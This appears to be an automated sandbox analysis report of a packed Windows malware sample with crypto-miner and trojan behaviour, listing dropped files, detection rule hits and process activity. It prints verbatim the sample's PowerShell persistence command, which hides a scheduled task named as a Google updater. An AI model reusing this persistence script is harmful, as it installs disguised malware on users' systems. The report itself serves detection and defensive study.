                              Source: C:\Users\user\Windows Security\Update\winsvrupd.exeCode function: 15_2_00007FF642CE89C015_2_00007FF642CE89C0
                              Source: C:\Users\user\Windows Security\Update\winsvrupd.exeFile created: C:\Users\user\AppData\Roaming\Google\Libs\WR64.sys
                              Source: 1258033132.exe.3.drStatic PE information: Number of sections : 11 > 10
                              Source: xmr[1].exe.3.drStatic PE information: Number of sections : 11 > 10
                              Source: winsvrupd.exe.4.drStatic PE information: Number of sections : 11 > 10
                              Source: Joe Sandbox ViewDropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\xmr[1].exe 84984B4AE961524FA29008D142C78B6A859B451BDD21CEDC04CC25CAF4256116
                              Source: file.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
                              Source: 15.2.winsvrupd.exe.7ff642cf0960.2.raw.unpack, type: UNPACKEDPEMatched rule: PUA_WIN_XMRIG_CryptoCoin_Miner_Dec20 date = 2020-12-31, hash1 = b6154d25b3aa3098f2cee790f5de5a727fc3549865a7aa2196579fe39a86de09, author = Florian Roth (Nextron Systems), description = Detects XMRIG crypto coin miners, reference = https://www.intezer.com/blog/research/new-golang-worm-drops-xmrig-miner-on-servers/
                              Source: 15.2.winsvrupd.exe.7ff642ced080.1.raw.unpack, type: UNPACKEDPEMatched rule: PUA_WIN_XMRIG_CryptoCoin_Miner_Dec20 date = 2020-12-31, hash1 = b6154d25b3aa3098f2cee790f5de5a727fc3549865a7aa2196579fe39a86de09, author = Florian Roth (Nextron Systems), description = Detects XMRIG crypto coin miners, reference = https://www.intezer.com/blog/research/new-golang-worm-drops-xmrig-miner-on-servers/
                              Source: 15.2.winsvrupd.exe.7ff642ce0000.0.unpack, type: UNPACKEDPEMatched rule: PUA_WIN_XMRIG_CryptoCoin_Miner_Dec20 date = 2020-12-31, hash1 = b6154d25b3aa3098f2cee790f5de5a727fc3549865a7aa2196579fe39a86de09, author = Florian Roth (Nextron Systems), description = Detects XMRIG crypto coin miners, reference = https://www.intezer.com/blog/research/new-golang-worm-drops-xmrig-miner-on-servers/
                              Source: Process Memory Space: cmd.exe PID: 9644, type: MEMORYSTRMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth (Nextron Systems), description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
                              Source: C:\Users\user\AppData\Local\Temp\75601095.exe, type: DROPPEDMatched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
                              Source: C:\Users\user\AppData\Local\Temp\311029678.exe, type: DROPPEDMatched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
                              Source: C:\Users\user\AppData\Local\Temp\mpnsrsgv.tmp, type: DROPPEDMatched rule: PUA_WIN_XMRIG_CryptoCoin_Miner_Dec20 date = 2020-12-31, hash1 = b6154d25b3aa3098f2cee790f5de5a727fc3549865a7aa2196579fe39a86de09, author = Florian Roth (Nextron Systems), description = Detects XMRIG crypto coin miners, reference = https://www.intezer.com/blog/research/new-golang-worm-drops-xmrig-miner-on-servers/
                              Source: C:\Users\user\Desktop\file.exeFile created: C:\Windows\wsysrxvcs.exeJump to behavior
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0040EE1D NtQueryVirtualMemory,0_2_0040EE1D
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0040BD50 NtQuerySystemTime,RtlTimeToSecondsSince1980,0_2_0040BD50
                              Source: C:\Windows\wsysrxvcs.exeCode function: 1_2_0040EE1D NtQueryVirtualMemory,1_2_0040EE1D
                              Source: C:\Windows\wsysrxvcs.exeCode function: 1_2_0040BD50 NtQuerySystemTime,RtlTimeToSecondsSince1980,1_2_0040BD50
                              Source: C:\Windows\wsysrxvcs.exeCode function: 2_2_0040EE1D NtQueryVirtualMemory,2_2_0040EE1D
                              Source: C:\Windows\wsysrxvcs.exeCode function: 2_2_0040BD50 NtQuerySystemTime,RtlTimeToSecondsSince1980,2_2_0040BD50
                              Source: C:\Users\user\AppData\Local\Temp\1258033132.exeCode function: 4_2_00007FF7D2534710 NtCreateFile,4_2_00007FF7D2534710
                              Source: C:\Users\user\Windows Security\Update\winsvrupd.exeCode function: 15_2_00007FF642CE4710 NtResumeThread,15_2_00007FF642CE4710
                              Source: xmr[1].exe.3.drStatic PE information: Section: .data ZLIB complexity 0.9904708320114213
                              Source: 1258033132.exe.3.drStatic PE information: Section: .data ZLIB complexity 0.9904708320114213
                              Source: winsvrupd.exe.4.drStatic PE information: Section: .data ZLIB complexity 0.9904708320114213
                              Source: file.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                              Source: C:\Windows\wsysrxvcs.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FMJump to behavior
                              Source: classification engineClassification label: mal100.rans.spre.troj.evad.mine.winEXE@33/32@5612/100
                              Source: file.exeReversingLabs: Detection: 83%
                              Source: file.exeVirustotal: Detection: 66%
                              Source: C:\Users\user\Desktop\file.exeFile read: C:\Users\user\Desktop\file.exeJump to behavior
                              Source: C:\Users\user\Desktop\file.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                              Source: unknownProcess created: C:\Users\user\Desktop\file.exe C:\Users\user\Desktop\file.exe
                              Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\wsysrxvcs.exe C:\Windows\wsysrxvcs.exe
                              Source: unknownProcess created: C:\Windows\wsysrxvcs.exe "C:\Windows\wsysrxvcs.exe"
                              Source: C:\Windows\wsysrxvcs.exeProcess created: C:\Users\user\AppData\Local\Temp\120477188.exe C:\Users\user\AppData\Local\Temp\120477188.exe
                              Source: C:\Users\user\AppData\Local\Temp\120477188.exeProcess created: C:\Users\user\AppData\Local\Temp\1258033132.exe C:\Users\user\AppData\Local\Temp\1258033132.exe
                              Source: C:\Windows\wsysrxvcs.exeProcess created: C:\Users\user\AppData\Local\Temp\311029678.exe C:\Users\user\AppData\Local\Temp\311029678.exe
                              Source: unknownProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#fwjcobfk#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachine' /tr '''C:\Users\user\Windows Security\Update\winsvrupd.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Windows Security\Update\winsvrupd.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachine' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachine" /t REG_SZ /f /d 'C:\Users\user\Windows Security\Update\winsvrupd.exe' }
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Windows\wsysrxvcs.exeProcess created: C:\Users\user\AppData\Local\Temp\75601095.exe C:\Users\user\AppData\Local\Temp\75601095.exe
                              Source: C:\Windows\wsysrxvcs.exeProcess created: C:\Users\user\AppData\Local\Temp\587025894.exe C:\Users\user\AppData\Local\Temp\587025894.exe
                              Source: unknownProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#boaqiqu#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachine" } Else { "C:\Users\user\Windows Security\Update\winsvrupd.exe" }
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachine
                              Source: unknownProcess created: C:\Users\user\Windows Security\Update\winsvrupd.exe C:\Users\user\Windows Security\Update\winsvrupd.exe
                              Source: unknownProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#fwjcobfk#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachine' /tr '''C:\Users\user\Windows Security\Update\winsvrupd.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Windows Security\Update\winsvrupd.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachine' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachine" /t REG_SZ /f /d 'C:\Users\user\Windows Security\Update\winsvrupd.exe' }
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Users\user\AppData\Roaming\Google\Libs\g.log"
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic PATH Win32_VideoController GET Name, VideoProcessor
                              Source: C:\Users\user\Windows Security\Update\winsvrupd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe dxfechzzfypoyjbf 6E3sjfZq2rJQaxvLPmXgsEqPiBiBLmVqlQRiqAROwnovuL/XXMnmllvN0dE0MNZasUNTlydMwtsW2rj8icJseNEYIR9Mk2CrBAnQSkVd4ghuXK6zXctx/Rv1juQihv2xvWMCiOcCltF908O7Q2gnrwdkD5pEVAuSGMT8e5i6oyrq4eYUoHB2nuvdKC2X+JFQf7iSJSEOJr7GBp5A9pekMuLZ1K+sy4g4Epzwi6wbVxl8ZM8mn+7GccIbj+pVuNsDYY3GPzEsZqgcGX8v8f7JRHr2ZjrjHFfnkTA9y/qycxz5Gn7YfwXD9vtnqqY+8qFe
                              Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\wsysrxvcs.exe C:\Windows\wsysrxvcs.exeJump to behavior
                              Source: C:\Windows\wsysrxvcs.exeProcess created: C:\Users\user\AppData\Local\Temp\120477188.exe C:\Users\user\AppData\Local\Temp\120477188.exeJump to behavior
                              Source: C:\Windows\wsysrxvcs.exeProcess created: C:\Users\user\AppData\Local\Temp\311029678.exe C:\Users\user\AppData\Local\Temp\311029678.exeJump to behavior
                              Source: C:\Windows\wsysrxvcs.exeProcess created: C:\Users\user\AppData\Local\Temp\75601095.exe C:\Users\user\AppData\Local\Temp\75601095.exeJump to behavior
                              Source: C:\Windows\wsysrxvcs.exeProcess created: C:\Users\user\AppData\Local\Temp\587025894.exe C:\Users\user\AppData\Local\Temp\587025894.exeJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\120477188.exeProcess created: C:\Users\user\AppData\Local\Temp\1258033132.exe C:\Users\user\AppData\Local\Temp\1258033132.exeJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1258033132.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#fwjcobfk#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachine' /tr '''C:\Users\user\Windows Security\Update\winsvrupd.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Windows Security\Update\winsvrupd.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachine' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachine" /t REG_SZ /f /d 'C:\Users\user\Windows Security\Update\winsvrupd.exe' }Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1258033132.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#boaqiqu#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachine" } Else { "C:\Users\user\Windows Security\Update\winsvrupd.exe" }Jump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachine
                              Source: C:\Users\user\Windows Security\Update\winsvrupd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#fwjcobfk#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachine' /tr '''C:\Users\user\Windows Security\Update\winsvrupd.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Windows Security\Update\winsvrupd.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachine' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachine" /t REG_SZ /f /d 'C:\Users\user\Windows Security\Update\winsvrupd.exe' }
                              Source: C:\Users\user\Windows Security\Update\winsvrupd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Users\user\AppData\Roaming\Google\Libs\g.log"
                              Source: C:\Users\user\Windows Security\Update\winsvrupd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe dxfechzzfypoyjbf 6E3sjfZq2rJQaxvLPmXgsEqPiBiBLmVqlQRiqAROwnovuL/XXMnmllvN0dE0MNZasUNTlydMwtsW2rj8icJseNEYIR9Mk2CrBAnQSkVd4ghuXK6zXctx/Rv1juQihv2xvWMCiOcCltF908O7Q2gnrwdkD5pEVAuSGMT8e5i6oyrq4eYUoHB2nuvdKC2X+JFQf7iSJSEOJr7GBp5A9pekMuLZ1K+sy4g4Epzwi6wbVxl8ZM8mn+7GccIbj+pVuNsDYY3GPzEsZqgcGX8v8f7JRHr2ZjrjHFfnkTA9y/qycxz5Gn7YfwXD9vtnqqY+8qFe
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic PATH Win32_VideoController GET Name, VideoProcessor
                              Source: C:\Windows\wsysrxvcs.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32Jump to behavior
                              Source: C:\Windows\System32\cmd.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
                              Source: C:\Windows\wsysrxvcs.exeFile created: C:\Users\user\AppData\Local\Temp\120477188.exeJump to behavior
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00405830 CoCreateInstance,0_2_00405830
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00405410 Sleep,GetModuleFileNameW,GetVolumeInformationW,GetDiskFreeSpaceExW,_aulldiv,wsprintfW,wsprintfW,wsprintfW,Sleep,ExitThread,0_2_00405410
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
                              Source: C:\Windows\wsysrxvcs.exeMutant created: \Sessions\1\BaseNamedObjects\9998883922
                              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4444:120:WilError_01
                              Source: C:\Users\user\AppData\Local\Temp\311029678.exeMutant created: \Sessions\1\BaseNamedObjects\3999480
                              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1884:120:WilError_01
                              Source: C:\Users\user\AppData\Local\Temp\75601095.exeMutant created: \Sessions\1\BaseNamedObjects\5235352
                              Source: C:\Windows\System32\cmd.exeMutant created: \Sessions\1\BaseNamedObjects\Global\dxfechzzfypoyjbf
                              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7804:120:WilError_01
                              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9352:120:WilError_01
                              Source: C:\Windows\wsysrxvcs.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\311029678.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\311029678.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\311029678.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\311029678.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\311029678.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\311029678.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\311029678.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\75601095.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\75601095.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\75601095.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\75601095.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\75601095.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\75601095.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_00007FF9A5E35F33 push edi; ret 6_2_00007FF9A5E35F36
                              Source: xmr[1].exe.3.drStatic PE information: section name: .xdata
                              Source: 1258033132.exe.3.drStatic PE information: section name: .xdata
                              Source: winsvrupd.exe.4.drStatic PE information: section name: .xdata
                              Source: initial sampleStatic PE information: section name: UPX0
                              Source: initial sampleStatic PE information: section name: UPX1

                              Persistence and Installation Behavior

                              barindex
                              Sample is not signed and drops a device driver
                              Source: C:\Users\user\Windows Security\Update\winsvrupd.exeFile created: C:\Users\user\AppData\Roaming\Google\Libs\WR64.sys
                              Drops executables to the windows directory (C:\Windows) and starts them
                              Source: C:\Users\user\Desktop\file.exeExecutable created and started: C:\Windows\wsysrxvcs.exeJump to behavior
                              Source: C:\Windows\wsysrxvcs.exeFile created: C:\Users\user\AppData\Local\Temp\311029678.exeJump to dropped file
                              Source: C:\Windows\wsysrxvcs.exeFile created: C:\Users\user\AppData\Local\Temp\75601095.exeJump to dropped file
                              Source: C:\Windows\wsysrxvcs.exeFile created: C:\Users\user\AppData\Local\Temp\120477188.exeJump to dropped file
                              Source: C:\Users\user\Windows Security\Update\winsvrupd.exeFile created: C:\Users\user\AppData\Local\Temp\mpnsrsgv.tmpJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\120477188.exeFile created: C:\Users\user\AppData\Local\Temp\1258033132.exeJump to dropped file
                              Source: C:\Users\user\Windows Security\Update\winsvrupd.exeFile created: C:\Users\user\AppData\Roaming\Google\Libs\WR64.sysJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\1258033132.exeFile created: C:\Users\user\Windows Security\Update\winsvrupd.exeJump to dropped file
                              Source: C:\Windows\wsysrxvcs.exeFile created: C:\Users\user\AppData\Local\Temp\587025894.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\120477188.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\xmr[1].exeJump to dropped file
                              Source: C:\Users\user\Desktop\file.exeFile created: C:\Windows\wsysrxvcs.exeJump to dropped file
                              Source: C:\Users\user\Desktop\file.exeFile created: C:\Windows\wsysrxvcs.exeJump to dropped file

                              Boot Survival

                              barindex
                              Uses schtasks.exe or at.exe to add and modify task schedules
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachine

                              Hooking and other Techniques for Hiding and Protection

                              barindex
                              Hides that the sample has been downloaded from the Internet (zone.identifier)
                              Source: C:\Users\user\Desktop\file.exeFile opened: C:\Users\user\Desktop\file.exe:Zone.Identifier read attributes | deleteJump to behavior
                              Source: C:\Windows\wsysrxvcs.exeFile opened: C:\Windows\wsysrxvcs.exe:Zone.Identifier read attributes | deleteJump to behavior
                              Source: C:\Windows\wsysrxvcs.exeFile opened: C:\Users\user\AppData\Local\Temp\120477188.exe:Zone.Identifier read attributes | deleteJump to behavior
                              Source: C:\Windows\wsysrxvcs.exeFile opened: C:\Users\user\AppData\Local\Temp\311029678.exe:Zone.Identifier read attributes | deleteJump to behavior
                              Source: C:\Windows\wsysrxvcs.exeFile opened: C:\Users\user\AppData\Local\Temp\75601095.exe:Zone.Identifier read attributes | deleteJump to behavior
                              Source: C:\Windows\wsysrxvcs.exeFile opened: C:\Users\user\AppData\Local\Temp\587025894.exe:Zone.Identifier read attributes | deleteJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\120477188.exeFile opened: C:\Users\user\AppData\Local\Temp\1258033132.exe:Zone.Identifier read attributes | deleteJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\311029678.exeFile opened: C:\Users\user\AppData\Local\Temp\311029678.exe:Zone.Identifier read attributes | deleteJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\75601095.exeFile opened: C:\Users\user\AppData\Local\Temp\75601095.exe:Zone.Identifier read attributes | deleteJump to behavior
                              Found hidden mapped module (file has been removed from disk)
                              Source: C:\Users\user\Windows Security\Update\winsvrupd.exeModule Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\MPNSRSGV.TMP
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
